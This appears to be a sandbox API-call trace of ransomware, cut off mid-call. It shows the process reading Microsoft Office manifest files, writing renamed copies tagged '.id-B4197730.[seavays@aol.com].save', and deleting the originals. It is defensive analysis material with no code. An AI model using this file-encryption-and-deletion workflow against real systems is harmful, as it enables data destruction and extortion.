[0056.907] lstrlenW (lpString=".7z") returned 3 [0056.907] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.907] lstrlenW (lpString=".dbf") returned 4 [0056.907] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.907] lstrlenW (lpString=".1cd") returned 4 [0056.907] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.907] lstrlenW (lpString=".jpg") returned 4 [0056.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.907] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.907] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0056.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.909] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=387356) returned 1 [0056.909] CloseHandle (hObject=0x2c0) returned 1 [0056.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0056.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.909] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.909] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0056.910] GetLastError () returned 0x0 [0056.910] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0056.921] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x5e920, lpOverlapped=0x0) returned 1 [0057.656] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.656] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0057.656] SetEndOfFile (hFile=0x374) returned 1 [0057.656] CloseHandle (hObject=0x374) returned 1 [0057.664] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.664] SetEndOfFile (hFile=0x2c0) returned 1 [0057.667] CloseHandle (hObject=0x2c0) returned 1 [0057.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0057.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0057.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.668] lstrlenW (lpString=".doc") returned 4 [0057.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0057.668] lstrlenW (lpString=".docx") returned 5 [0057.668] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0057.668] lstrlenW (lpString=".pdf") returned 4 [0057.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0057.668] lstrlenW (lpString=".xls") returned 4 [0057.669] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString=".xlsx") returned 5 [0057.669] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0057.669] lstrlenW (lpString=".ppt") returned 4 [0057.669] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.669] lstrlenW (lpString=".zip") returned 4 [0057.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0057.669] lstrlenW (lpString=".rar") returned 4 [0057.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString=".bz2") returned 4 [0057.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString=".7z") returned 3 [0057.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0057.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.669] lstrlenW (lpString=".dbf") returned 4 [0057.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.669] lstrlenW (lpString=".1cd") returned 4 [0057.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.669] lstrlenW (lpString=".jpg") returned 4 [0057.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.669] lstrlenW (lpString=".doc") returned 4 [0057.669] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString=".docx") returned 5 [0057.669] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0057.669] lstrlenW (lpString=".pdf") returned 4 [0057.669] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0057.669] lstrlenW (lpString=".xls") returned 4 [0057.669] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0057.670] lstrlenW (lpString=".xlsx") returned 5 [0057.670] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0057.670] lstrlenW (lpString=".ppt") returned 4 [0057.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0057.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.670] lstrlenW (lpString=".zip") returned 4 [0057.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0057.670] lstrlenW (lpString=".rar") returned 4 [0057.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0057.670] lstrlenW (lpString=".bz2") returned 4 [0057.670] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0057.670] lstrlenW (lpString=".7z") returned 3 [0057.670] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0057.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.670] lstrlenW (lpString=".dbf") returned 4 [0057.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0057.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.670] lstrlenW (lpString=".1cd") returned 4 [0057.670] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0057.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0057.670] lstrlenW (lpString=".jpg") returned 4 [0057.670] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0057.670] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0057.670] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0057.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0057.671] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1261) returned 1 [0057.671] CloseHandle (hObject=0x2c0) returned 1 [0057.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0057.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0057.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0057.671] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.671] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0057.671] GetLastError () returned 0x0 [0057.671] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0057.673] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0057.674] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.674] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0057.674] SetEndOfFile (hFile=0x374) returned 1 [0057.674] CloseHandle (hObject=0x374) returned 1 [0057.675] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.675] SetEndOfFile (hFile=0x2c0) returned 1 [0057.676] CloseHandle (hObject=0x2c0) returned 1 [0057.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0057.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0057.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.676] lstrlenW (lpString=".doc") returned 4 [0057.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0057.676] lstrlenW (lpString=".docx") returned 5 [0057.676] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0057.676] lstrlenW (lpString=".pdf") returned 4 [0057.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString=".xls") returned 4 [0057.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString=".xlsx") returned 5 [0057.677] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0057.677] lstrlenW (lpString=".ppt") returned 4 [0057.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.677] lstrlenW (lpString=".zip") returned 4 [0057.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0057.677] lstrlenW (lpString=".rar") returned 4 [0057.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString=".bz2") returned 4 [0057.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString=".7z") returned 3 [0057.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0057.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.677] lstrlenW (lpString=".dbf") returned 4 [0057.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.677] lstrlenW (lpString=".1cd") returned 4 [0057.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.677] lstrlenW (lpString=".jpg") returned 4 [0057.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.677] lstrlenW (lpString=".doc") returned 4 [0057.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0057.677] lstrlenW (lpString=".docx") returned 5 [0057.677] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0057.677] lstrlenW (lpString=".pdf") returned 4 [0057.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString=".xls") returned 4 [0057.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString=".xlsx") returned 5 [0057.678] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0057.678] lstrlenW (lpString=".ppt") returned 4 [0057.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.678] lstrlenW (lpString=".zip") returned 4 [0057.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0057.678] lstrlenW (lpString=".rar") returned 4 [0057.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString=".bz2") returned 4 [0057.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString=".7z") returned 3 [0057.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0057.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.678] lstrlenW (lpString=".dbf") returned 4 [0057.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.678] lstrlenW (lpString=".1cd") returned 4 [0057.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0057.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0057.678] lstrlenW (lpString=".jpg") returned 4 [0057.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0057.678] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0057.678] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0057.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0057.679] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=253712) returned 1 [0057.679] CloseHandle (hObject=0x2c0) returned 1 [0057.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0057.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0057.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0057.680] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.680] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0057.680] GetLastError () returned 0x0 [0057.680] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3df10, lpOverlapped=0x0) returned 1 [0057.685] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3df20, lpOverlapped=0x0) returned 1 [0057.690] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.690] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0057.690] SetEndOfFile (hFile=0x374) returned 1 [0057.690] CloseHandle (hObject=0x374) returned 1 [0057.696] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.696] SetEndOfFile (hFile=0x2c0) returned 1 [0058.065] CloseHandle (hObject=0x2c0) returned 1 [0058.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0058.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.069] lstrlenW (lpString=".doc") returned 4 [0058.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.069] lstrlenW (lpString=".docx") returned 5 [0058.069] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.069] lstrlenW (lpString=".pdf") returned 4 [0058.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.069] lstrlenW (lpString=".xls") returned 4 [0058.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.069] lstrlenW (lpString=".xlsx") returned 5 [0058.069] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.069] lstrlenW (lpString=".ppt") returned 4 [0058.069] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.069] lstrlenW (lpString=".zip") returned 4 [0058.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.070] lstrlenW (lpString=".rar") returned 4 [0058.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString=".bz2") returned 4 [0058.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString=".7z") returned 3 [0058.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.070] lstrlenW (lpString=".dbf") returned 4 [0058.070] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.070] lstrlenW (lpString=".1cd") returned 4 [0058.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.070] lstrlenW (lpString=".jpg") returned 4 [0058.070] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0058.070] lstrlenW (lpString=".doc") returned 4 [0058.070] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.070] lstrlenW (lpString=".docx") returned 5 [0058.070] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned 